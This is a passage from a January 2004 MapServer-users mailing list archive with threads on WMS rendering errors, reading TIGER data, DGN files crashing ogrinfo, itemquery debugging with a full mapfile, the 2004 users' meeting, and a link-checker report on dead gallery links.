truts/mapservice/test/demo.map&mode=3Dmap=20
cannot 
be displayed, because it contains errors". IE display the image =
but=20
it's not 
correct (stretch & mix of color). 


 


This error seems to cause WMS GetMap not t=
o work.=20
WFS GetFeature, DescribeFeatureType is ok. 

It seems to be nearly th=
e=20
same type of problem as 
http://lists.maptools.org/pipermail/chameleon/2003-August/000045.html
on=20
which Daniel Morissette participate. But no answer to this problem.

=
The=20
same project on apache / NT4 works ! 

Any ideas ?

Thanks for =
your=20
help.

Fran=E7ois-Xavier Prunayre
IOW - GIS Engineer
fx.prunayre at oieau.fr
<=
/BODY>
--=20

Ce message a ete verifie par MailScanner
pour des virus ou des polluriels et rien de suspect n'a ete trouve.

 

Les donnees et renseignements contenus dans ce message sont personnels, con=
fidentiels et secrets.Toute publication, utilisation ou diffusion, meme par=
tielle, doit etre autorisee.

 

Any data and information contained in this electronic mail is personal, con=
fidential and secret. Any total or partial publication, use or distribution=
 must be authorized.


------=_NextPart_000_0ACD_01C3D921.F6A0FE40--



From stephen.clark at focus.ca  Mon Jan 12 08:18:56 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Mon, 12 Jan 2004 08:18:56 -0800
Subject: [Mapserver-users] Fw: help me : READING TIGER files
Message-ID: <001301c3d927$c78b4150$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_0010_01C3D8E4.B93112D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


----- Original Message -----=20
From: dharani=20
To: stephen.clark at focus.ca=20
Sent: Friday, January 09, 2004 10:20 PM
Subject: help me


Hi
I am dharani babu from chennai , india . I am a vc++ developer . I am =
into development of a MAP=20
Project which has to read a TIGER File. So could you please tell how I =
can read a TIGER line data
and get my own base map of any area of US ?
Your help will be very instrumental in kick starting my coding work .
Please help me
With regards
dharani
------=_NextPart_000_0010_01C3D8E4.B93112D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









 


----- Original Message -----=20

From: dharani 



Sent: Friday, January 09, 2004 10:20 PM


Subject: help me





Hi
I am dharani babu from chennai , =
india . I am=20
a vc++ developer . I am into development of a MAP 
Project which has =
to read=20
a TIGER File. So could you please tell how I can read a TIGER line =
data
and=20
get my own base map of any area of US ?
Your help will be very =
instrumental=20
in kick starting my coding work .
Please help me
With=20
regards
dharani


------=_NextPart_000_0010_01C3D8E4.B93112D0--



From pkishor at geoanalytics.com  Mon Jan 12 07:47:50 2004
From: pkishor at geoanalytics.com (pkishor_98)
Date: Mon, 12 Jan 2004 15:47:50 -0000
Subject: [Mapserver-users] MUM 2004
Message-ID: 

I was looking around for any advance details on the MapServer Users'
Meeting 2004... couldn't find anything. Are there any details
available? Dates, cost, venue, whether or not it is going to happen at
all, etc. Would be very helpful for planning the year.

Many thanks,




From warmerdam at pobox.com  Mon Jan 12 07:53:27 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Mon, 12 Jan 2004 10:53:27 -0500
Subject: [Mapserver-users] abnormal program termination: errors in .dgn
 files ?
In-Reply-To: 
References: <3.0.32.20040110103616.00b969f8@pop.casema.net> 
Message-ID: <4002C2F7.4060000@pobox.com>

Bart van den Eijnden wrote:
> Hi,
> 
> did you try inspecting the 2 dgn files with ogrinfo?

Jerfass,

I would like to second Bart on that.  The correct sequence of operations to
isolate the problem is:

  1) Try the files in question with mapserv/shp2img.   If no problem you are done.

  2) Try the files with ogrinfo.  (eg ogrinfo -ro -al abc.dgn)  If ogrinfo
     has no problem the issue is likely with MapServer or the mapserver OGR
     bindings.  File the bug in MapServer Bugzilla and assign to me.

  3) If possible download and build the dgnlib tools (http://dgnlib.maptools.org)
     and test if dgndump works fine with the file.  If dgndump works fine then
     the bug is presumably in the OGR bindings on dgnlib.  File a bug in the
     GDAL/OGR bugzilla which will be assigned to me by default.

  4) If even dgndump crashes then create a bug report in the dgnlib bugzilla
     which will be assigned to me.   If you can't practically build dgnlib
     yourself, then just submit the issue as a GDAL/OGR bug.

PS. Don't forget to attach or point to at least one file that demonstrates
the bug, and include details of the versions of GDAL/OGR that you are using.
Ideally you should update and test with the latest version.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From David.Fawcett at state.mn.us  Mon Jan 12 07:58:57 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Mon, 12 Jan 2004 09:58:57 -0600
Subject: [Mapserver-users] visual symbology guide
Message-ID: 

Bart, 

I am not sure if there is a more detailed guide anywhere else, but
there is a start on the Wiki
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SymbolExamples).  

If you have more information, that would be a great place to put it.  

David.

David J. Fawcett
MN Office of Environmental Assistance

>>>  1/9/2004 3:03:54 PM >>>
Hi list,

is there a visual symbology guide from Mapserver showing the
cartographic
power of Mapserver?

If there is none, I would be interested in creating one if people
would
send me screendumps of examples.

Best regards,
Bart
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From lfilak at medinaco.org  Mon Jan 12 08:19:38 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Mon, 12 Jan 2004 11:19:38 -0500
Subject: [Mapserver-users] MUM 2004
Message-ID: <20040112161934.E83AB1A659F@mail.medinaco.org>

I think this is all I've seen so far.
I would imagine it may take a while to put all the plans together.
http://www.intevation.de/pipermail/freegis-list/2004-January/001588.html
HTH

Lowell

The following message was sent by "pkishor_98"
 on Mon, 12 Jan 2004 15:47:50 -0000.

> I was looking around for any advance details on the MapServer Users'
> Meeting 2004... couldn't find anything. Are there any details
> available? Dates, cost, venue, whether or not it is going to happen at
> all, etc. Would be very helpful for planning the year.
> 
> Many thanks,
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From bartvde at xs4all.nl  Mon Jan 12 08:29:09 2004
From: bartvde at xs4all.nl (bartvde at xs4all.nl)
Date: Mon, 12 Jan 2004 17:29:09 +0100 (CET)
Subject: [Mapserver-users] visual symbology guide
In-Reply-To: 
References: 
Message-ID: <12368.212.238.227.182.1073924949.squirrel@webmail.xs4all.nl>

Hi David, list,

I know this part of the Wiki. I always felt there was a shortage of SYMBOL
examples. Also pictures say so much more than words, so visual examples
would be great (screendumps).

But for this I am dependent on Mapserver users sending me their examples.
Until now I have not received any, so please send me some great examples
and I will make sure they will get to the community one way or another.

Thanks in advance.

Best regards,
Bart

> Bart,
>
> I am not sure if there is a more detailed guide anywhere else, but
> there is a start on the Wiki
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SymbolExamples).
>
> If you have more information, that would be a great place to put it.
>
> David.
>
> David J. Fawcett
> MN Office of Environmental Assistance
>
>>>>  1/9/2004 3:03:54 PM >>>
> Hi list,
>
> is there a visual symbology guide from Mapserver showing the
> cartographic
> power of Mapserver?
>
> If there is none, I would be interested in creating one if people
> would
> send me screendumps of examples.
>
> Best regards,
> Bart
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From eduardo at consultoria.eti.br  Mon Jan 12 08:44:03 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Mon, 12 Jan 2004 14:44:03 -0200
Subject: [Mapserver-users] MUM 2004
In-Reply-To: 
References: 
Message-ID: <4002CED3.3040708@consultoria.eti.br>

I just know that it will be 9, 10 and 11 June. Ottawa/Canada

    Dave McIlhagga, from DM, has sent a mail talking about it.

regards,

Eduardo

pkishor_98 escreveu:

>I was looking around for any advance details on the MapServer Users'
>Meeting 2004... couldn't find anything. Are there any details
>available? Dates, cost, venue, whether or not it is going to happen at
>all, etc. Would be very helpful for planning the year.
>
>Many thanks,
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>  
>


From David.Fawcett at state.mn.us  Mon Jan 12 08:52:24 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Mon, 12 Jan 2004 10:52:24 -0600
Subject: [Mapserver-users] visual symbology guide
Message-ID: 

Bart, 

I agree that it would be very useful to new and existing users to have
a repository of symbol definitions and a picture of their resulting
image.  This could be in the documentation, the 'how to', or on the
Wiki.  I believe that you can link to images on a Wiki page.  The
benefit of the Wiki is that anyone can modify it at any time.  

David.

>>>  1/12/2004 10:29:09 AM >>>
Hi David, list,

I know this part of the Wiki. I always felt there was a shortage of
SYMBOL
examples. Also pictures say so much more than words, so visual
examples
would be great (screendumps).

But for this I am dependent on Mapserver users sending me their
examples.
Until now I have not received any, so please send me some great
examples
and I will make sure they will get to the community one way or
another.

Thanks in advance.

Best regards,
Bart

> Bart,
>
> I am not sure if there is a more detailed guide anywhere else, but
> there is a start on the Wiki
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SymbolExamples).
>
> If you have more information, that would be a great place to put it.
>
> David.
>
> David J. Fawcett
> MN Office of Environmental Assistance
>
>>>>  1/9/2004 3:03:54 PM >>>
> Hi list,
>
> is there a visual symbology guide from Mapserver showing the
> cartographic
> power of Mapserver?
>
> If there is none, I would be interested in creating one if people
> would
> send me screendumps of examples.
>
> Best regards,
> Bart
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
>

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From stephen.clark at focus.ca  Mon Jan 12 10:17:58 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Mon, 12 Jan 2004 10:17:58 -0800
Subject: [Mapserver-users] help with tile index of vector files
References: 
Message-ID: <01cb01c3d938$68275530$6c000a0a@sclark>

Hi all,

I have several SHP files that I plan on merging to one individual SHP file.

Is there an index application that will create some sort of fast tiling
trick like the "tile4ms.exe" does with individual SHP files to create a
tiled SHP file.

thanks
Stephen



From eric at gomoos.org  Mon Jan 12 09:19:08 2004
From: eric at gomoos.org (Eric Bridger)
Date: 12 Jan 2004 12:19:08 -0500
Subject: [Mapserver-users] itemquery doesn't find records
In-Reply-To: <20040111204325.23787.qmail@quazartecnologia.com>
References: <20040111204325.23787.qmail@quazartecnologia.com>
Message-ID: <1073927954.1536.20.camel@ubet.gomoos.org>

I'm not sure if this is your problem but try adding a TEMPLATE
"fake.html" to your LAYER. In 3.6 this was required.


On Sun, 2004-01-11 at 15:43, Nikolai Vladychevski wrote:
> Hello, 
> 
> I am trying about 4 hours to make an itemquery query without success. I
> have tryed many qstring values but I still get:
> "msQueryByAttributes(): Search returned no results. No matching record(s) 
> found." error. 
> 
> I don't know what to do, can somebody give any tips how to debug this ? 
> 
> This is my MapServer version:
> MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF
> INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE 
> 
> This is the line in perl that I output to the browser:
> print 
> $q->header(-location=>"http://$ENV{HTTP_HOST}/cgi-bin/mapserv?layer=enlaces& 
> layer=emplazamientos&map=".uri_escape("/var/www/html/map/my.map")."&scale=20 
> 0&program=".uri_escape("/cgi-bin/mapserv")."&savequery=true&zoomdir=0&mode=i 
> temquery&qitem=".uri_escape("ID_EMPLAZ")."&qstring=".uri_escape("[ID_EMPLAZ] 
> = 
> '02-02290'")."&qlayer=emplazamientos&mapext=-117.124014+14.530688+-86.709056 
> +32.718120&codempl=02-02290&map_web_imagepath=".uri_escape("/var/www/html/tm 
> p/")."&map_web_imageurl=".uri_escape("/tmp/")."&zoomsize=2"); 
> 
> This is my map gobal extent: 
> 
> EXTENT -117.124014 14.530688 -86.709056 32.718120 
> 
> This is the layer definition 
> 
>  LAYER
>        NAME emplazamientos
>        DATA emplazamientos
>        DEBUG ON
>        STATUS OFF
>        TYPE POINT
>        TOLERANCEUNITS pixels
>        TOLERANCE 5
>        FILTERITEM 'ID_EMPLAZ'
>        FILTER '%codempl%'
>        CLASS
>            NAME 'emplazamientos'
>            COLOR 0 0 255
>            SYMBOL 'circle'
>            SIZE 5
>            TEMPLATE emplazamiento.html
>        END
>   END 
> 
> The record exists: 
> 
> [root at localhost map]# ogrinfo -al data/emplazamientos.shx |grep -A3 -B4 
> 02-02290
> OGRFeature(emplazamientos):9
>  NOMBRE (String) = Esperanza
>  LAT (Real) =    -115.4952
>  LON (Real) =      32.6488
>  ID_EMPLAZ (String) = 02-02290
>  ID_CLASE (Integer) = 2290
>  POINT (-115.49517100 32.64879900)
> 
> The POINT is inside the extent:
>  -117.124014 (-115.49517100) -86.709056
>   14.530688 (  32.64879900)  32.718120 
> 
> The template file exists: 
> 
> [root at localhost map]# cat emplazamiento.html
> Emplazamiento: [ID_EMPLAZAM]:

> Nombre: [NOMBRE]

> Latitud: [LAT]

> Longitud: [LON]

> ID_Clase: [ID_CLASE]

> [root at localhost map]# 
> 
> 
> Full mapserver file: 
> 
> 
> MAP
>  NAME TRANSMISION
>  STATUS ON
>  IMAGETYPE PNG
>  EXTENT -117.124014 14.530688 -86.709056 32.718120
>  SIZE 800 600
>  SHAPEPATH "data"
>  IMAGECOLOR 255 255 255
>  FONTSET fonts/fonts.list
>  WEB
>    HEADER map_header.html
>    TEMPLATE map.html
>    FOOTER map_footer.html
>    MINSCALE 0.001
>    MAXSCALE 200
>    IMAGEPATH "/var/www/html/tmp"
>    IMAGEURL "/tmp"
>    METADATA
> 	WMS_TITLE "MapServer"
> 	WMS_ABSTRACT "Despliege de Enlaces y Emplazamientos"
> 	WMS_ACCESSCONSTRAINTS none
>    END 
> 
>  END 
> 
>  SCALEBAR
>    IMAGECOLOR 255 255 255
>    LABEL
>      COLOR 0 0 0
>      SIZE TINY
>    END
>    STYLE 1
>    SIZE 100 2
>    COLOR 0 0 0
>    UNITS KILOMETERS
>    INTERVALS 2
>    TRANSPARENT FALSE
>    STATUS ON
>  END 
> 
>  QUERYMAP
>    SIZE 800 600
>    STATUS ON
>    STYLE HILITE
>    COLOR 255 0 0
>  END
> 
>  REFERENCE
> 	IMAGE "mxmap.gif"
>        EXTENT -117.124014 14.530688 -86.709056 32.718120
> 	SIZE 250 155
> 	STATUS ON
> 	MAXBOXSIZE 246
> 	COLOR -1 -1 -1
> 	OUTLINECOLOR 255 0 0
>  END 
> 
>  PROJECTION
> 	"proj=laea"
> 	"ellps=clrk66"
> 	"lat_0=23"
> 	"lon_0=-110"
>  END 
> 
>  LAYER
> 	NAME region
> 	DATA region
> 	STATUS DEFAULT
> 	TYPE POLYGON 
> 
> 	CLASS
> 	    COLOR 255 255 255
> 	    OUTLINECOLOR 32 32 32
> 	END
>   END 
> 
>  LAYER
> 	NAME enlaces
> 	DATA enlaces
> 	STATUS ON
> 	TYPE LINE
>        TOLERANCEUNITS pixels
> 	TOLERANCE 3
> 	CLASSITEM "id_enlace"
> 	LABELITEM "id_enlace"
> 	SYMBOLSCALE 0.001
> 	LABELMAXSCALE 0.1
> 	CLASS
> 	    COLOR 0 255 0
> 	    OUTLINECOLOR 0 0 0
> 	    LABEL
> 		TYPE TRUETYPE
> 		ANTIALIAS TRUE
> 		FONT arial
> 		COLOR 0 0 0
> 		BACKGROUNDCOLOR 255 255 230
> 		SIZE 8
> 		MINSIZE 8
> 		MAXSIZE 12
> 		ANGLE AUTO
> 		POSITION CC
> 		MINFEATURESIZE AUTO
> 		BUFFER 2
> 	    END
> 	TEMPLATE enlaces.html
> 	END
>  END 
> 
>  LAYER
> 	NAME emplazamientos
> 	DATA emplazamientos
> 	DEBUG ON
> 	STATUS OFF
> 	TYPE POINT
>        TOLERANCEUNITS pixels
> 	TOLERANCE 5
> 	FILTERITEM 'ID_EMPLAZ'
> 	FILTER '%codempl%'
> 	CLASS
> 	    NAME 'emplazamientos'
> 	    COLOR 0 0 255
> 	    SYMBOL 'circle'
> 	    SIZE 5
> 	    TEMPLATE emplazamiento.html
> 	END
>   END 
> 
>   SYMBOL
>  	NAME 'circle'
> 	TYPE ELLIPSE
> 	POINTS 1 1 END
> 	FILLED TRUE
>   END
> END 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From bartvde at xs4all.nl  Mon Jan 12 11:34:40 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Mon, 12 Jan 2004 20:34:40 +0100
Subject: [Mapserver-users] abnormal program termination: errors in .dgn files ?
In-Reply-To: 
References: 
Message-ID: 

Hi Jerfaas,

what I can judge from the results is that the problem is in OGR/Dgnlib.

ERROR 2: CPLMalloc(): Out of memory allocating -59780 bytes.

I think the best thing you can do is follow Frank Warmerdam's advice of 
filing a bug for this in the GDAL/OGR bugzilla. Maybe the data is not 
public, then perhaps you can contact Frank to find a solution for 
providing him test data.

Best regards,
Bart

On Mon, 12 Jan 2004 10:49:54 +0100, Jerfaas de Jong  
wrote:

> D:\PROJEC~1\OPENEV~1\bin>ogrinfo 
> C:\websites\DemoData\Naaldwijk\Data\Basis\dgn\g
> roenbuitengebied.dgn -all
> INFO: Open of 
> `C:\websites\DemoData\Naaldwijk\Data\Basis\dgn\groenbuitengebied.d
> gn'
> using driver `DGN' successful.
>
> Layer name: elements
> Geometry: Unknown (any)
> Feature Count: 17584
> Extent: (72038.923000, 439852.508000) - (78917.093000, 448702.812000)
> Layer SRS WKT:
> (unknown)
> Type: Integer (2.0)
> Level: Integer (2.0)
> GraphicGroup: Integer (4.0)
> ColorIndex: Integer (3.0)
> Weight: Integer (2.0)
> Style: Integer (1.0)
> EntityNum: Integer (8.0)
> MSLink: Integer (10.0)
> Text: String (0.0)
> ERROR 2: CPLMalloc(): Out of memory allocating -2436 bytes.
>
>
> D:\PROJEC~1\OPENEV~1\bin>ogrinfo 
> C:\websites\DemoData\Naaldwijk\Data\Basis\dgn\g
> roenhonselersdijk.dgn -all
> INFO: Open of 
> `C:\websites\DemoData\Naaldwijk\Data\Basis\dgn\groenhonselersdijk.
> dgn'
> using driver `DGN' successful.
>
> Layer name: elements
> Geometry: Unknown (any)
> Feature Count: 8961
> Extent: (74528.365000, 446255.761000) - (76025.066000, 447978.399000)
> Layer SRS WKT:
> (unknown)
> Type: Integer (2.0)
> Level: Integer (2.0)
> GraphicGroup: Integer (4.0)
> ColorIndex: Integer (3.0)
> Weight: Integer (2.0)
> Style: Integer (1.0)
> EntityNum: Integer (8.0)
> MSLink: Integer (10.0)
> Text: String (0.0)
> ERROR 2: CPLMalloc(): Out of memory allocating -59780 bytes.
>
>
>
>
>
> INFO: Open of 
> `C:\websites\DemoData\Naaldwijk\Data\Basis\dgn\groenmaasdijk.dgn'
> using driver `DGN' successful.
>
> Layer name: elements
> Geometry: Unknown (any)
> Feature Count: 5836
> Extent: (73697.012000, 441329.234000) - (74928.057000, 442542.166000)
> Layer SRS WKT:
> (unknown)
> Type: Integer (2.0)
> Level: Integer (2.0)
> GraphicGroup: Integer (4.0)
> ColorIndex: Integer (3.0)
> Weight: Integer (2.0)
> Style: Integer (1.0)
> EntityNum: Integer (8.0)
> MSLink: Integer (10.0)
> Text: String (0.0)
> OGRFeature(elements):7
>   Type (Integer) = 3
>   Level (Integer) = 7
>   GraphicGroup (Integer) = 0
>   ColorIndex (Integer) = 0
>   Weight (Integer) = 0
> -- Meer  --
>
>
>>>> Bart van den Eijnden  01/10/04 11:23 AM >>>
> Hi,
>
> did you try inspecting the 2 dgn files with ogrinfo?
>
> Best regards,
> Bart
>
> On Sat, 10 Jan 2004 10:36:16 +0100, Jerfaas  wrote:
>
>> Hi,
>>
>> I have about 15 .dgn files to display in Mapserver. I have problems with
>> loading 2 of them, because it causes a abnormal program termination. 
>> (The
>> others can be displayed without any problems in Mapserver.)
>>
>> I can load the 2 dgn without any problems in ArcExplorer. Does any one
>> have
>> a suggestion what I can do to find out what is wrong with the 2 .dgn
>> files ?
>>
>> Thanks in advance,
>>
>> Jerfaas de Jong
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>
>
>



-- 
  


From TMitchell at lignum.com  Mon Jan 12 11:41:03 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Mon, 12 Jan 2004 11:41:03 -0800
Subject: [Mapserver-users] Dead gallery links
Message-ID: 




The UMN Mapserver applications Gallery is getting pretty septic.  I ran a
link checker and found that ~ 22 of the 117 links on the page are dead or
have errors.  I'm sure there are more which provide a nice error page that
the link checker didn't pick up on.  Likewise, some of the errors are mere
timeout or redirection warnings which don't really throw an  error.

In short, it would be good if those who have bad or dead links could pass
on the correct ones so they could get fixed.  For your reference, I've
pasted my check results below.  UMN guys, what's the process or who is the
contact for getting these fixed?  Can you just remove the dead ones?  It's
really bad for the mapserver project as a whole to have a public gallery
page that's out of date.    I don't mind helping to weed out the bad links
to improve the page.

Fortunately the page was much better when I first viewed it years ago so I
didn't get turned off right away :)

Tyler

-------------
$ linkchecker http://mapserver.gis.umn.edu/gallery.html
LinkChecker 1.10.3              Copyright c 2000-2004 Bastian Kleineidam
LinkChecker comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
under certain conditions. Look at the file `LICENSE' within this
distribution.
Get the newest version at http://linkchecker.sourceforge.net/
Write comments and bugs to calvin at users.sourceforge.net

Start checking at 2004-01-12 11:25:11-008

URL        http://www.dnr.state.mn.us/hunting/deer/mapit.html
Name       Deer
                Finder
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 39, col 27
Real URL   http://www.dnr.state.mn.us/hunting/deer/mapit.html
Check Time 4.819 seconds
Result     Error: 404

URL        http://maps.dnr.state.mn.us/mapserver_demos/tests/
Name       MapServer Test                   Suite
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 54, col 27
Real URL   http://maps.dnr.state.mn.us/mapserver_demos/tests/
Check Time 6.272 seconds
Result     Error: 404 Not Found

URL        http://terrasip.gis.umn.edu/projects/
Name       TerraSIP Applications
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 87, col 27
Real URL   http://terrasip.gis.umn.edu/projects/
Check Time 6.405 seconds
Result     Error: (119, 'Operation now in progress')

URL        http://cdcm.methaz.org/cdcm
Name       Hurricane Hazard Information for Caribbean Coastal Construction
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 166, col 14
Real URL   http://cdcm.methaz.org/cdcm
Check Time 4.431 seconds
Result     Error: 404 Not Found

URL        http://www.puertogijon.es/Mapserver/gis.asp
Name       Gijon Port Authority (Spain)
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 154, col 19
Real URL   http://www.puertogijon.es/Mapserver/gis.asp
Check Time 7.316 seconds
Result     Error: recursive redirection encountered:
 http://www.puertogijon.es/Mapserver/gis.asp
  => http://www.puertogijon.es/error.htm
  => http://www.puertogijon.es/error.htm

URL        http://ils.io.inf.br/ier_map/ierf.htm
Name       Estrada
                Real, Brazil
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 147, col 19
Real URL   http://ils.io.inf.br/ier_map/ierf.htm
Check Time 7.538 seconds
Warning    Server 'Microsoft-IIS/5.0' has no anchor support, removing
           anchor from request
Result     Error: 404 Objeto nao encontrado

URL        http://metadata.gd.itb.ac.id/sik/
Name       Map of the Institute of Technology, Bandung,
In
donesia
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 199, col 12
Real URL   http://metadata.gd.itb.ac.id/sik/
Check Time 2.113 seconds
Result     Error: (7, 'getaddrinfo failed')

URL        http://www.cartoweb.de
Name       MapServer in a touristinformation-system
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 209, col 27
Real URL   http://www.cartoweb.de/user/allgemein_start.php
Check Time 10.462 seconds
Info       Last modified Mon, 12 Jan 2004 19:25:42 GMT
Warning    URL path is empty, assuming '/' as path
           Effective URL http://www.cartoweb.de/user/allgemein_start.php
Result     Error: 401 Authorization Required

URL        http://www.mohid.com/Prestige/Simulations_Gallery.htm

Name       Modelling predictions of the Prestige oil spill.
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 317, col 12
Result     Error: URL has whitespace at beginning or end

URL         http://www.ns-verbrechen.at
Name       Reason for eviction - non-Ayrian
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 330, col 12
Result     Error: URL has whitespace at beginning or end

URL        http://mapserver.ocmlt.go.th/
Name       NuMap/Thailand Traffic
Repo
rting
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 323, col 19
Real URL   http://mapserver.ocmlt.go.th/
Check Time 6.476 seconds
Result     Error: (119, 'Operation now in progress')

URL        http://www.nrm.qld.gov.au/lris/webgis/burnett/index.html

Name       Burnett
                  Catchment Web GIS
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 391, col 19
Result     Error: URL has whitespace at beginning or end

URL        http://213.201.25.155/mapes/navega.php
Name       City Council of Girona
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 398, col 12
Real URL   http://213.201.25.155/mapes/navega.php
Check Time 8.117 seconds
Result     Error: (119, 'Operation now in progress')

URL        http://www.gaf.de/projects.html
Name       GAF Global Experience
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 417, col 12
Real URL   http://www.gaf.de/projects.html
Check Time 3.264 seconds
Result     Error: 404 Not Found

URL        http://opengis.jrc.it
Name       Melilla
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 457, col 19
Real URL   http://opengis.jrc.it/
Check Time 6.401 seconds
Warning    URL path is empty, assuming '/' as path
Result     Error: (119, 'Operation now in progress')

URL        http://www2.tetonwyo.org/mapserver/tc/
Name       Teton County (Wyoming) Map                            Server
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 462, col 12
Real URL   http://www2.tetonwyo.org/mapserver/
Check Time 5.085 seconds
Warning    HTTP 301 (moved permanent) encountered: you should update this
           link.
           Server 'Microsoft-IIS/5.0' has no anchor support, removing
           anchor from request
           Effective URL http://www2.tetonwyo.org/mapserver/
Result     Error: 403 Access Forbidden

URL        http://www.ggh-mapservice.de/index.php3
Name       GGH - Mapservice

Parent URL http://mapserver.gis.umn.edu/gallery.html, line 423, col 19
Real URL   http://www.ggh-mapservice.de/index.php3
Check Time 27.924 seconds
Result     Error: more than five redirections, aborting

URL        http://map2.fgdl.org/mapserver/start/thememaps.html
Name       Florida Mapper
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 525, col 19
Real URL   http://www.fgdl.org/mapserver/start/thememaps.html
Check Time 11.299 seconds
Warning    HTTP 301 (moved permanent) encountered: you should update this
           link.
           Effective URL http://www.fgdl.org/mapserver/start/thememaps.html
Result     Error: 404 Not Found

URL        http://www.dnr.state.mn.us/mapping/landview/
Name       Minnesota DNR's                                 LandView
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 567, col 12
Real URL   http://www.dnr.state.mn.us/mapping/landview/index.html
Check Time 3.794 seconds
Warning    Effective URL
           http://www.dnr.state.mn.us/mapping/landview/index.html
Result     Error: 404

URL        http://wms.co.fulton.ga.us
Name       Fulton County, Georgia Mapserver
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 528, col 19
Real URL   http://wms.co.fulton.ga.us/
Check Time 250.777 seconds
Warning    URL path is empty, assuming '/' as path
Result     Error: timed out

Thats it. 22 errors in 117 links found
Stopped checking at 2004-01-12 11:30:41-008 ( 5.491 minutes)



From Christopher.Dimeo at maine.gov  Mon Jan 12 12:28:04 2004
From: Christopher.Dimeo at maine.gov (Dimeo, Christopher)
Date: Mon, 12 Jan 2004 15:28:04 -0500
Subject: [Mapserver-users] Dead gallery links
Message-ID: 

Along these lines, I'd like to compile a comprehensive list of
mapserver-implememented projects for the GIS showcase site that I'm
building.

If *anyone* would like to showcase (read: free promotion) their mapserver
projects, please send me links to the sites- either by E-mail or by posting
in the Mapserver forum.  Optionally, but desired, a description of the
project.  I'd like to promote open source GIS projects as much as possible.

Chris Dimeo
email at opspatial.com
www.opspatial.com


-----Original Message-----
From: Tyler Mitchell [mailto:TMitchell at lignum.com] 
Sent: Monday, January 12, 2004 2:41 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Dead gallery links






The UMN Mapserver applications Gallery is getting pretty septic.  I ran a
link checker and found that ~ 22 of the 117 links on the page are dead or
have errors.  I'm sure there are more which provide a nice error page that
the link checker didn't pick up on.  Likewise, some of the errors are mere
timeout or redirection warnings which don't really throw an  error.

In short, it would be good if those who have bad or dead links could pass on
the correct ones so they could get fixed.  For your reference, I've pasted
my check results below.  UMN guys, what's the process or who is the contact
for getting these fixed?  Can you just remove the dead ones?  It's really
bad for the mapserver project as a whole to have a public gallery
page that's out of date.    I don't mind helping to weed out the bad links
to improve the page.

Fortunately the page was much better when I first viewed it years ago so I
didn't get turned off right away :)

Tyler

-------------
$ linkchecker http://mapserver.gis.umn.edu/gallery.html
LinkChecker 1.10.3              Copyright c 2000-2004 Bastian Kleineidam
LinkChecker comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it under certain
